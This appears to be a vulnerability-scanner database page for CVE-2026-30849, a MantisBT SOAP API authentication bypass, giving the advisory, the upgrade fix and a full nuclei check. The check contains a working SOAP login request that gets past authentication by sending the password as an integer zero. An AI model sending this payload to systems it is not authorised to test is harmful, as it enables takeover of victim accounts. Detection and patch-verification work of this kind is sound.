HexBrain

Browse / CVEs / CVE-2026-30849

CVE-2026-30849· mantisbt / mantisbt· CWE-843

MantisBT < 2.28.1 - SOAP API Authentication Bypass

criticalseverity
9.3CVSS score
1.8%likelihood of exploitation, next 30 days
79%of all CVEs are less likely
Readycheck to confirm it

Mantis Bug Tracker < 2.28.1 on MySQL databases contains an authentication bypass caused by improper type checking on the password parameter in the SOAP API, letting attackers login without the actual password using a crafted SOAP envelope, exploit requires knowing the victim's username.

Impact

Attackers can bypass authentication to access victim accounts and execute API functions, potentially compromising user data and system integrity.

Fix

Upgrade to version 2.28.1 or later; disabling the SOAP API reduces risk.

How to confirm it

Send: POST /api/soap/mantisconnect.php
Positive when: status_code == 200 and contains_all(body, "mc_loginResponse", "access_level")

Run it with nuclei: nuclei -id CVE-2026-30849 -u <target>

The full check
id: CVE-2026-30849

info:
  name: MantisBT < 2.28.1 - SOAP API Authentication Bypass
  author: str4k3r
  severity: critical
  description: |
    Mantis Bug Tracker < 2.28.1 on MySQL databases contains an authentication bypass caused by improper type checking on the password parameter in the SOAP API, letting attackers login without the actual password using a crafted SOAP envelope, exploit requires knowing the victim's username.
  impact: |
    Attackers can bypass authentication to access victim accounts and execute API functions, potentially compromising user data and system integrity.
  remediation: |
    Upgrade to version 2.28.1 or later; disabling the SOAP API reduces risk.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-30849
    - https://github.com/mantisbt/mantisbt/security/advisories/GHSA-phrq-pc6r-f6gh
    - https://mantisbt.org/bugs/view.php?id=36902
  classification:
    cve-id: CVE-2026-30849
    epss-score: 0.01799
    epss-percentile: 0.78662
    cwe-id: CWE-843
    cvss-score: 9.3
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
  metadata:
    verified: true
    max-request: 1
    vendor: mantisbt
    product: mantisbt
    shodan-query: http.title:"MantisBT"
    fofa-query: title="MantisBT"
  tags: cve,cve2026,mantisbt,soap,auth-bypass,type-confusion,mysql,unauth

http:
  - raw:
      - |
        POST /api/soap/mantisconnect.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml; charset=utf-8
        SOAPAction: "http://www.mantisbt.org/bugs/api/soap/mantisconnect.php/mc_login"

        <?xml version="1.0" encoding="UTF-8"?>
        <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/">
          <SOAP-ENV:Body>
            <ns1:mc_login xmlns:ns1="http://futureware.biz/mantisconnect" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
              <username xsi:type="xsd:string">administrator</username>
              <password xsi:type="xsd:int">0</password>
            </ns1:mc_login>
          </SOAP-ENV:Body>
        </SOAP-ENV:Envelope>

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "mc_loginResponse", "access_level")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from